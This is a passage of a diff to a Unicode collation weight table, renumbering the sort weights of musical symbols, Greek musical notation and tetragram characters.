+1D1A1 ; [*1145.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-7
+1D1A2 ; [*1146.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-8
+1D1A3 ; [*1147.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-9
+1D1A4 ; [*1148.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-10
+1D1A5 ; [*1149.0020.0002] # MUSICAL SYMBOL ORNAMENT STROKE-11
+1D1A6 ; [*114A.0020.0002] # MUSICAL SYMBOL HAUPTSTIMME
+1D1A7 ; [*114B.0020.0002] # MUSICAL SYMBOL NEBENSTIMME
+1D1A8 ; [*114C.0020.0002] # MUSICAL SYMBOL END OF STIMME
+1D1A9 ; [*114D.0020.0002] # MUSICAL SYMBOL DEGREE SLASH
 1D1AA ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING DOWN BOW
 1D1AB ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING UP BOW
 1D1AC ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING HARMONIC
 1D1AD ; [.0000.0000.0000] # MUSICAL SYMBOL COMBINING SNAP PIZZICATO
-1D1AE ; [*1128.0020.0002] # MUSICAL SYMBOL PEDAL MARK
-1D1AF ; [*1129.0020.0002] # MUSICAL SYMBOL PEDAL UP MARK
-1D1B0 ; [*112A.0020.0002] # MUSICAL SYMBOL HALF PEDAL MARK
-1D1B1 ; [*112B.0020.0002] # MUSICAL SYMBOL GLISSANDO UP
-1D1B2 ; [*112C.0020.0002] # MUSICAL SYMBOL GLISSANDO DOWN
-1D1B3 ; [*112D.0020.0002] # MUSICAL SYMBOL WITH FINGERNAILS
-1D1B4 ; [*112E.0020.0002] # MUSICAL SYMBOL DAMP
-1D1B5 ; [*112F.0020.0002] # MUSICAL SYMBOL DAMP ALL
-1D1B6 ; [*1130.0020.0002] # MUSICAL SYMBOL MAXIMA
-1D1B7 ; [*1131.0020.0002] # MUSICAL SYMBOL LONGA
-1D1B8 ; [*1132.0020.0002] # MUSICAL SYMBOL BREVIS
-1D1B9 ; [*1133.0020.0002] # MUSICAL SYMBOL SEMIBREVIS WHITE
-1D1BA ; [*1134.0020.0002] # MUSICAL SYMBOL SEMIBREVIS BLACK
-1D1BB ; [*1133.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL MINIMA
-1D1BC ; [*1134.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL MINIMA BLACK
-1D1BD ; [*1133.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SEMIMINIMA WHITE
-1D1BE ; [*1134.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SEMIMINIMA BLACK
-1D1BF ; [*1133.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL FUSA WHITE
-1D1C0 ; [*1134.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL FUSA BLACK
-1D1C1 ; [*1135.0020.0002] # MUSICAL SYMBOL LONGA PERFECTA REST
-1D1C2 ; [*1136.0020.0002] # MUSICAL SYMBOL LONGA IMPERFECTA REST
-1D1C3 ; [*1137.0020.0002] # MUSICAL SYMBOL BREVIS REST
-1D1C4 ; [*1138.0020.0002] # MUSICAL SYMBOL SEMIBREVIS REST
-1D1C5 ; [*1139.0020.0002] # MUSICAL SYMBOL MINIMA REST
-1D1C6 ; [*113A.0020.0002] # MUSICAL SYMBOL SEMIMINIMA REST
-1D1C7 ; [*113B.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE PERFECTA
-1D1C8 ; [*113C.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE IMPERFECTA
-1D1C9 ; [*113D.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE PERFECTA DIMINUTION-1
-1D1CA ; [*113E.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE PERFECTA
-1D1CB ; [*113F.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA
-1D1CC ; [*1140.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-1
-1D1CD ; [*1141.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-2
-1D1CE ; [*1142.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-3
-1D1CF ; [*1143.0020.0002] # MUSICAL SYMBOL CROIX
-1D1D0 ; [*1144.0020.0002] # MUSICAL SYMBOL GREGORIAN C CLEF
-1D1D1 ; [*1145.0020.0002] # MUSICAL SYMBOL GREGORIAN F CLEF
-1D1D2 ; [*1146.0020.0002] # MUSICAL SYMBOL SQUARE B
-1D1D3 ; [*1147.0020.0002] # MUSICAL SYMBOL VIRGA
-1D1D4 ; [*1148.0020.0002] # MUSICAL SYMBOL PODATUS
-1D1D5 ; [*1149.0020.0002] # MUSICAL SYMBOL CLIVIS
-1D1D6 ; [*114A.0020.0002] # MUSICAL SYMBOL SCANDICUS
-1D1D7 ; [*114B.0020.0002] # MUSICAL SYMBOL CLIMACUS
-1D1D8 ; [*114C.0020.0002] # MUSICAL SYMBOL TORCULUS
-1D1D9 ; [*114D.0020.0002] # MUSICAL SYMBOL PORRECTUS
-1D1DA ; [*114E.0020.0002] # MUSICAL SYMBOL PORRECTUS FLEXUS
-1D1DB ; [*114F.0020.0002] # MUSICAL SYMBOL SCANDICUS FLEXUS
-1D1DC ; [*1150.0020.0002] # MUSICAL SYMBOL TORCULUS RESUPINUS
-1D1DD ; [*1151.0020.0002] # MUSICAL SYMBOL PES SUBPUNCTIS
-1D1DE ; [*1152.0020.0002] # MUSICAL SYMBOL KIEVAN C CLEF
-1D1DF ; [*1153.0020.0002] # MUSICAL SYMBOL KIEVAN END OF PIECE
-1D1E0 ; [*1154.0020.0002] # MUSICAL SYMBOL KIEVAN FINAL NOTE
-1D1E1 ; [*1155.0020.0002] # MUSICAL SYMBOL KIEVAN RECITATIVE MARK
-1D1E2 ; [*1156.0020.0002] # MUSICAL SYMBOL KIEVAN WHOLE NOTE
-1D1E3 ; [*1157.0020.0002] # MUSICAL SYMBOL KIEVAN HALF NOTE
-1D1E4 ; [*1158.0020.0002] # MUSICAL SYMBOL KIEVAN QUARTER NOTE STEM DOWN
-1D1E5 ; [*1159.0020.0002] # MUSICAL SYMBOL KIEVAN QUARTER NOTE STEM UP
-1D1E6 ; [*115A.0020.0002] # MUSICAL SYMBOL KIEVAN EIGHTH NOTE STEM DOWN
-1D1E7 ; [*115B.0020.0002] # MUSICAL SYMBOL KIEVAN EIGHTH NOTE STEM UP
-1D1E8 ; [*115C.0020.0002] # MUSICAL SYMBOL KIEVAN FLAT SIGN
-1D200 ; [*115D.0020.0002] # GREEK VOCAL NOTATION SYMBOL-1
-1D201 ; [*115E.0020.0002] # GREEK VOCAL NOTATION SYMBOL-2
-1D202 ; [*115F.0020.0002] # GREEK VOCAL NOTATION SYMBOL-3
-1D203 ; [*1160.0020.0002] # GREEK VOCAL NOTATION SYMBOL-4
-1D204 ; [*1161.0020.0002] # GREEK VOCAL NOTATION SYMBOL-5
-1D205 ; [*1162.0020.0002] # GREEK VOCAL NOTATION SYMBOL-6
-1D206 ; [*1163.0020.0002] # GREEK VOCAL NOTATION SYMBOL-7
-1D207 ; [*1164.0020.0002] # GREEK VOCAL NOTATION SYMBOL-8
-1D208 ; [*1165.0020.0002] # GREEK VOCAL NOTATION SYMBOL-9
-1D209 ; [*1166.0020.0002] # GREEK VOCAL NOTATION SYMBOL-10
-1D20A ; [*1167.0020.0002] # GREEK VOCAL NOTATION SYMBOL-11
-1D20B ; [*1168.0020.0002] # GREEK VOCAL NOTATION SYMBOL-12
-1D20C ; [*1169.0020.0002] # GREEK VOCAL NOTATION SYMBOL-13
-1D20D ; [*116A.0020.0002] # GREEK VOCAL NOTATION SYMBOL-14
-1D20E ; [*116B.0020.0002] # GREEK VOCAL NOTATION SYMBOL-15
-1D20F ; [*116C.0020.0002] # GREEK VOCAL NOTATION SYMBOL-16
-1D210 ; [*116D.0020.0002] # GREEK VOCAL NOTATION SYMBOL-17
-1D211 ; [*116E.0020.0002] # GREEK VOCAL NOTATION SYMBOL-18
-1D212 ; [*116F.0020.0002] # GREEK VOCAL NOTATION SYMBOL-19
-1D213 ; [*1170.0020.0002] # GREEK VOCAL NOTATION SYMBOL-20
-1D214 ; [*1171.0020.0002] # GREEK VOCAL NOTATION SYMBOL-21
-1D215 ; [*1172.0020.0002] # GREEK VOCAL NOTATION SYMBOL-22
-1D216 ; [*1173.0020.0002] # GREEK VOCAL NOTATION SYMBOL-23
-1D217 ; [*1174.0020.0002] # GREEK VOCAL NOTATION SYMBOL-24
-1D218 ; [*1175.0020.0002] # GREEK VOCAL NOTATION SYMBOL-50
-1D219 ; [*1176.0020.0002] # GREEK VOCAL NOTATION SYMBOL-51
-1D21A ; [*1177.0020.0002] # GREEK VOCAL NOTATION SYMBOL-52
-1D21B ; [*1178.0020.0002] # GREEK VOCAL NOTATION SYMBOL-53
-1D21C ; [*1179.0020.0002] # GREEK VOCAL NOTATION SYMBOL-54
-1D21D ; [*117A.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-1
-1D21E ; [*117B.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-2
-1D21F ; [*117C.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-4
-1D220 ; [*117D.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-5
-1D221 ; [*117E.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-7
-1D222 ; [*117F.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-8
-1D223 ; [*1180.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-11
-1D224 ; [*1181.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-12
-1D225 ; [*1182.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-13
-1D226 ; [*1183.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-14
-1D227 ; [*1184.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-17
-1D228 ; [*1185.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-18
-1D229 ; [*1186.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-19
-1D22A ; [*1187.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-23
-1D22B ; [*1188.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-24
-1D22C ; [*1189.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-25
-1D22D ; [*118A.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-26
-1D22E ; [*118B.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-27
-1D22F ; [*118C.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-29
-1D230 ; [*118D.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-30
-1D231 ; [*118E.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-32
-1D232 ; [*118F.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-36
-1D233 ; [*1190.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-37
-1D234 ; [*1191.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-38
-1D235 ; [*1192.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-39
-1D236 ; [*1193.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-40
-1D237 ; [*1194.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-42
-1D238 ; [*1195.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-43
-1D239 ; [*1196.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-45
-1D23A ; [*1197.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-47
-1D23B ; [*1198.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-48
-1D23C ; [*1199.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-49
-1D23D ; [*119A.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-50
-1D23E ; [*119B.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-51
-1D23F ; [*119C.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-52
-1D240 ; [*119D.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-53
-1D241 ; [*119E.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-54
+1D1AE ; [*114E.0020.0002] # MUSICAL SYMBOL PEDAL MARK
+1D1AF ; [*114F.0020.0002] # MUSICAL SYMBOL PEDAL UP MARK
+1D1B0 ; [*1150.0020.0002] # MUSICAL SYMBOL HALF PEDAL MARK
+1D1B1 ; [*1151.0020.0002] # MUSICAL SYMBOL GLISSANDO UP
+1D1B2 ; [*1152.0020.0002] # MUSICAL SYMBOL GLISSANDO DOWN
+1D1B3 ; [*1153.0020.0002] # MUSICAL SYMBOL WITH FINGERNAILS
+1D1B4 ; [*1154.0020.0002] # MUSICAL SYMBOL DAMP
+1D1B5 ; [*1155.0020.0002] # MUSICAL SYMBOL DAMP ALL
+1D1B6 ; [*1156.0020.0002] # MUSICAL SYMBOL MAXIMA
+1D1B7 ; [*1157.0020.0002] # MUSICAL SYMBOL LONGA
+1D1B8 ; [*1158.0020.0002] # MUSICAL SYMBOL BREVIS
+1D1B9 ; [*1159.0020.0002] # MUSICAL SYMBOL SEMIBREVIS WHITE
+1D1BA ; [*115A.0020.0002] # MUSICAL SYMBOL SEMIBREVIS BLACK
+1D1BB ; [*1159.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL MINIMA
+1D1BC ; [*115A.0020.0002][.0000.0000.0000] # MUSICAL SYMBOL MINIMA BLACK
+1D1BD ; [*1159.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SEMIMINIMA WHITE
+1D1BE ; [*115A.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL SEMIMINIMA BLACK
+1D1BF ; [*1159.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL FUSA WHITE
+1D1C0 ; [*115A.0020.0002][.0000.0000.0000][.0000.0000.0000] # MUSICAL SYMBOL FUSA BLACK
+1D1C1 ; [*115B.0020.0002] # MUSICAL SYMBOL LONGA PERFECTA REST
+1D1C2 ; [*115C.0020.0002] # MUSICAL SYMBOL LONGA IMPERFECTA REST
+1D1C3 ; [*115D.0020.0002] # MUSICAL SYMBOL BREVIS REST
+1D1C4 ; [*115E.0020.0002] # MUSICAL SYMBOL SEMIBREVIS REST
+1D1C5 ; [*115F.0020.0002] # MUSICAL SYMBOL MINIMA REST
+1D1C6 ; [*1160.0020.0002] # MUSICAL SYMBOL SEMIMINIMA REST
+1D1C7 ; [*1161.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE PERFECTA
+1D1C8 ; [*1162.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE IMPERFECTA
+1D1C9 ; [*1163.0020.0002] # MUSICAL SYMBOL TEMPUS PERFECTUM CUM PROLATIONE PERFECTA DIMINUTION-1
+1D1CA ; [*1164.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE PERFECTA
+1D1CB ; [*1165.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA
+1D1CC ; [*1166.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-1
+1D1CD ; [*1167.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-2
+1D1CE ; [*1168.0020.0002] # MUSICAL SYMBOL TEMPUS IMPERFECTUM CUM PROLATIONE IMPERFECTA DIMINUTION-3
+1D1CF ; [*1169.0020.0002] # MUSICAL SYMBOL CROIX
+1D1D0 ; [*116A.0020.0002] # MUSICAL SYMBOL GREGORIAN C CLEF
+1D1D1 ; [*116B.0020.0002] # MUSICAL SYMBOL GREGORIAN F CLEF
+1D1D2 ; [*116C.0020.0002] # MUSICAL SYMBOL SQUARE B
+1D1D3 ; [*116D.0020.0002] # MUSICAL SYMBOL VIRGA
+1D1D4 ; [*116E.0020.0002] # MUSICAL SYMBOL PODATUS
+1D1D5 ; [*116F.0020.0002] # MUSICAL SYMBOL CLIVIS
+1D1D6 ; [*1170.0020.0002] # MUSICAL SYMBOL SCANDICUS
+1D1D7 ; [*1171.0020.0002] # MUSICAL SYMBOL CLIMACUS
+1D1D8 ; [*1172.0020.0002] # MUSICAL SYMBOL TORCULUS
+1D1D9 ; [*1173.0020.0002] # MUSICAL SYMBOL PORRECTUS
+1D1DA ; [*1174.0020.0002] # MUSICAL SYMBOL PORRECTUS FLEXUS
+1D1DB ; [*1175.0020.0002] # MUSICAL SYMBOL SCANDICUS FLEXUS
+1D1DC ; [*1176.0020.0002] # MUSICAL SYMBOL TORCULUS RESUPINUS
+1D1DD ; [*1177.0020.0002] # MUSICAL SYMBOL PES SUBPUNCTIS
+1D1DE ; [*1178.0020.0002] # MUSICAL SYMBOL KIEVAN C CLEF
+1D1DF ; [*1179.0020.0002] # MUSICAL SYMBOL KIEVAN END OF PIECE
+1D1E0 ; [*117A.0020.0002] # MUSICAL SYMBOL KIEVAN FINAL NOTE
+1D1E1 ; [*117B.0020.0002] # MUSICAL SYMBOL KIEVAN RECITATIVE MARK
+1D1E2 ; [*117C.0020.0002] # MUSICAL SYMBOL KIEVAN WHOLE NOTE
+1D1E3 ; [*117D.0020.0002] # MUSICAL SYMBOL KIEVAN HALF NOTE
+1D1E4 ; [*117E.0020.0002] # MUSICAL SYMBOL KIEVAN QUARTER NOTE STEM DOWN
+1D1E5 ; [*117F.0020.0002] # MUSICAL SYMBOL KIEVAN QUARTER NOTE STEM UP
+1D1E6 ; [*1180.0020.0002] # MUSICAL SYMBOL KIEVAN EIGHTH NOTE STEM DOWN
+1D1E7 ; [*1181.0020.0002] # MUSICAL SYMBOL KIEVAN EIGHTH NOTE STEM UP
+1D1E8 ; [*1182.0020.0002] # MUSICAL SYMBOL KIEVAN FLAT SIGN
+1D200 ; [*1183.0020.0002] # GREEK VOCAL NOTATION SYMBOL-1
+1D201 ; [*1184.0020.0002] # GREEK VOCAL NOTATION SYMBOL-2
+1D202 ; [*1185.0020.0002] # GREEK VOCAL NOTATION SYMBOL-3
+1D203 ; [*1186.0020.0002] # GREEK VOCAL NOTATION SYMBOL-4
+1D204 ; [*1187.0020.0002] # GREEK VOCAL NOTATION SYMBOL-5
+1D205 ; [*1188.0020.0002] # GREEK VOCAL NOTATION SYMBOL-6
+1D206 ; [*1189.0020.0002] # GREEK VOCAL NOTATION SYMBOL-7
+1D207 ; [*118A.0020.0002] # GREEK VOCAL NOTATION SYMBOL-8
+1D208 ; [*118B.0020.0002] # GREEK VOCAL NOTATION SYMBOL-9
+1D209 ; [*118C.0020.0002] # GREEK VOCAL NOTATION SYMBOL-10
+1D20A ; [*118D.0020.0002] # GREEK VOCAL NOTATION SYMBOL-11
+1D20B ; [*118E.0020.0002] # GREEK VOCAL NOTATION SYMBOL-12
+1D20C ; [*118F.0020.0002] # GREEK VOCAL NOTATION SYMBOL-13
+1D20D ; [*1190.0020.0002] # GREEK VOCAL NOTATION SYMBOL-14
+1D20E ; [*1191.0020.0002] # GREEK VOCAL NOTATION SYMBOL-15
+1D20F ; [*1192.0020.0002] # GREEK VOCAL NOTATION SYMBOL-16
+1D210 ; [*1193.0020.0002] # GREEK VOCAL NOTATION SYMBOL-17
+1D211 ; [*1194.0020.0002] # GREEK VOCAL NOTATION SYMBOL-18
+1D212 ; [*1195.0020.0002] # GREEK VOCAL NOTATION SYMBOL-19
+1D213 ; [*1196.0020.0002] # GREEK VOCAL NOTATION SYMBOL-20
+1D214 ; [*1197.0020.0002] # GREEK VOCAL NOTATION SYMBOL-21
+1D215 ; [*1198.0020.0002] # GREEK VOCAL NOTATION SYMBOL-22
+1D216 ; [*1199.0020.0002] # GREEK VOCAL NOTATION SYMBOL-23
+1D217 ; [*119A.0020.0002] # GREEK VOCAL NOTATION SYMBOL-24
+1D218 ; [*119B.0020.0002] # GREEK VOCAL NOTATION SYMBOL-50
+1D219 ; [*119C.0020.0002] # GREEK VOCAL NOTATION SYMBOL-51
+1D21A ; [*119D.0020.0002] # GREEK VOCAL NOTATION SYMBOL-52
+1D21B ; [*119E.0020.0002] # GREEK VOCAL NOTATION SYMBOL-53
+1D21C ; [*119F.0020.0002] # GREEK VOCAL NOTATION SYMBOL-54
+1D21D ; [*11A0.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-1
+1D21E ; [*11A1.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-2
+1D21F ; [*11A2.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-4
+1D220 ; [*11A3.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-5
+1D221 ; [*11A4.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-7
+1D222 ; [*11A5.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-8
+1D223 ; [*11A6.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-11
+1D224 ; [*11A7.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-12
+1D225 ; [*11A8.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-13
+1D226 ; [*11A9.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-14
+1D227 ; [*11AA.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-17
+1D228 ; [*11AB.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-18
+1D229 ; [*11AC.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-19
+1D22A ; [*11AD.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-23
+1D22B ; [*11AE.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-24
+1D22C ; [*11AF.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-25
+1D22D ; [*11B0.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-26
+1D22E ; [*11B1.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-27
+1D22F ; [*11B2.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-29
+1D230 ; [*11B3.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-30
+1D231 ; [*11B4.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-32
+1D232 ; [*11B5.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-36
+1D233 ; [*11B6.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-37
+1D234 ; [*11B7.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-38
+1D235 ; [*11B8.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-39
+1D236 ; [*11B9.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-40
+1D237 ; [*11BA.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-42
+1D238 ; [*11BB.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-43
+1D239 ; [*11BC.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-45
+1D23A ; [*11BD.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-47
+1D23B ; [*11BE.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-48
+1D23C ; [*11BF.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-49
+1D23D ; [*11C0.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-50
+1D23E ; [*11C1.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-51
+1D23F ; [*11C2.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-52
+1D240 ; [*11C3.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-53
+1D241 ; [*11C4.0020.0002] # GREEK INSTRUMENTAL NOTATION SYMBOL-54
 1D242 ; [.0000.0000.0000] # COMBINING GREEK MUSICAL TRISEME
 1D243 ; [.0000.0000.0000] # COMBINING GREEK MUSICAL TETRASEME
 1D244 ; [.0000.0000.0000] # COMBINING GREEK MUSICAL PENTASEME
-1D245 ; [*119F.0020.0002] # GREEK MUSICAL LEIMMA
-1D300 ; [*0EC6.0020.0002] # MONOGRAM FOR EARTH
-1D301 ; [*0EC7.0020.0002] # DIGRAM FOR HEAVENLY EARTH
-1D302 ; [*0EC8.0020.0002] # DIGRAM FOR HUMAN EARTH
-1D303 ; [*0EC9.0020.0002] # DIGRAM FOR EARTHLY HEAVEN
-1D304 ; [*0ECA.0020.0002] # DIGRAM FOR EARTHLY HUMAN
-1D305 ; [*0ECB.0020.0002] # DIGRAM FOR EARTH
-1D306 ; [*0ECC.0020.0002] # TETRAGRAM FOR CENTRE
-1D307 ; [*0ECD.0020.0002] # TETRAGRAM FOR FULL CIRCLE
-1D308 ; [*0ECE.0020.0002] # TETRAGRAM FOR MIRED
-1D309 ; [*0ECF.0020.0002] # TETRAGRAM FOR BARRIER
-1D30A ; [*0ED0.0020.0002] # TETRAGRAM FOR KEEPING SMALL
-1D30B ; [*0ED1.0020.0002] # TETRAGRAM FOR CONTRARIETY
-1D30C ; [*0ED2.0020.0002] # TETRAGRAM FOR ASCENT
-1D30D ; [*0ED3.0020.0002] # TETRAGRAM FOR OPPOSITION
-1D30E ; [*0ED4.0020.0002] # TETRAGRAM FOR BRANCHING OUT
-1D30F ; [*0ED5.0020.0002] # TETRAGRAM FOR DEFECTIVENESS OR DISTORTION
-1D310 ; [*0ED6.0020.0002] # TETRAGRAM FOR DIVERGENCE
-1D311 ; [*0ED7.0020.0002] # TETRAGRAM FOR YOUTHFULNESS
-1D312 ; [*0ED8.0020.0002] # TETRAGRAM FOR INCREASE
-1D313 ; [*0ED9.0020.0002] # TETRAGRAM FOR PENETRATION
-1D314 ; [*0EDA.0020.0002] # TETRAGRAM FOR REACH
-1D315 ; [*0EDB.0020.0002] # TETRAGRAM FOR CONTACT
-1D316 ; [*0EDC.0020.0002] # TETRAGRAM FOR HOLDING BACK
-1D317 ; [*0EDD.0020.0002] # TETRAGRAM FOR WAITING
-1D318 ; [*0EDE.0020.0002] # TETRAGRAM FOR FOLLOWING
-1D319 ; [*0EDF.0020.0002] # TETRAGRAM FOR ADVANCE
-1D31A ; [*0EE0.0020.0002] # TETRAGRAM FOR RELEASE
-1D31B ; [*0EE1.0020.0002] # TETRAGRAM FOR RESISTANCE
-1D31C ; [*0EE2.0020.0002] # TETRAGRAM FOR EASE
-1D31D ; [*0EE3.0020.0002] # TETRAGRAM FOR JOY
-1D31E ; [*0EE4.0020.0002] # TETRAGRAM FOR CONTENTION
-1D31F ; [*0EE5.0020.0002] # TETRAGRAM FOR ENDEAVOUR
-1D320 ; [*0EE6.0020.0002] # TETRAGRAM FOR DUTIES
-1D321 ; [*0EE7.0020.0002] # TETRAGRAM FOR CHANGE
-1D322 ; [*0EE8.0020.0002] # TETRAGRAM FOR DECISIVENESS
-1D323 ; [*0EE9.0020.0002] # TETRAGRAM FOR BOLD RESOLUTION
-1D324 ; [*0EEA.0020.0002] # TETRAGRAM FOR PACKING
-1D325 ; [*0EEB.0020.0002] # TETRAGRAM FOR LEGION
-1D326 ; [*0EEC.0020.0002] # TETRAGRAM FOR CLOSENESS
-1D327 ; [*0EED.0020.0002] # TETRAGRAM FOR KINSHIP
-1D328 ; [*0EEE.0020.0002] # TETRAGRAM FOR GATHERING
-1D329 ; [*0EEF.0020.0002] # TETRAGRAM FOR STRENGTH
-1D32A ; [*0EF0.0020.0002] # TETRAGRAM FOR PURITY
-1D32B ; [*0EF1.0020.0002] # TETRAGRAM FOR FULLNESS
-1D32C ; [*0EF2.0020.0002] # TETRAGRAM FOR RESIDENCE
-1D32D ; [*0EF3.0020.0002] # TETRAGRAM FOR LAW OR MODEL
-1D32E ; [*0EF4.0020.0002] # TETRAGRAM FOR RESPONSE
-1D32F ; [*0EF5.0020.0002] # TETRAGRAM FOR GOING TO MEET
-1D330 ; [*0EF6.0020.0002] # TETRAGRAM FOR ENCOUNTERS
-1D331 ; [*0EF7.0020.0002] # TETRAGRAM FOR STOVE
-1D332 ; [*0EF8.0020.0002] # TETRAGRAM FOR GREATNESS
-1D333 ; [*0EF9.0020.0002] # TETRAGRAM FOR ENLARGEMENT
-1D334 ; [*0EFA.0020.0002] # TETRAGRAM FOR PATTERN
-1D335 ; [*0EFB.0020.0002] # TETRAGRAM FOR RITUAL
-1D336 ; [*0EFC.0020.0002] # TETRAGRAM FOR FLIGHT
-1D337 ; [*0EFD.0020.0002] # TETRAGRAM FOR VASTNESS OR WASTING
-1D338 ; [*0EFE.0020.0002] # TETRAGRAM FOR CONSTANCY
-1D339 ; [*0EFF.0020.0002] # TETRAGRAM FOR MEASURE
-1D33A ; [*0F00.0020.0002] # TETRAGRAM FOR ETERNITY
-1D33B ; [*0F01.0020.0002] # TETRAGRAM FOR UNITY
-1D33C ; [*0F02.0020.0002] # TETRAGRAM FOR DIMINISHMENT
-1D33D ; [*0F03.0020.0002] # TETRAGRAM FOR CLOSED MOUTH
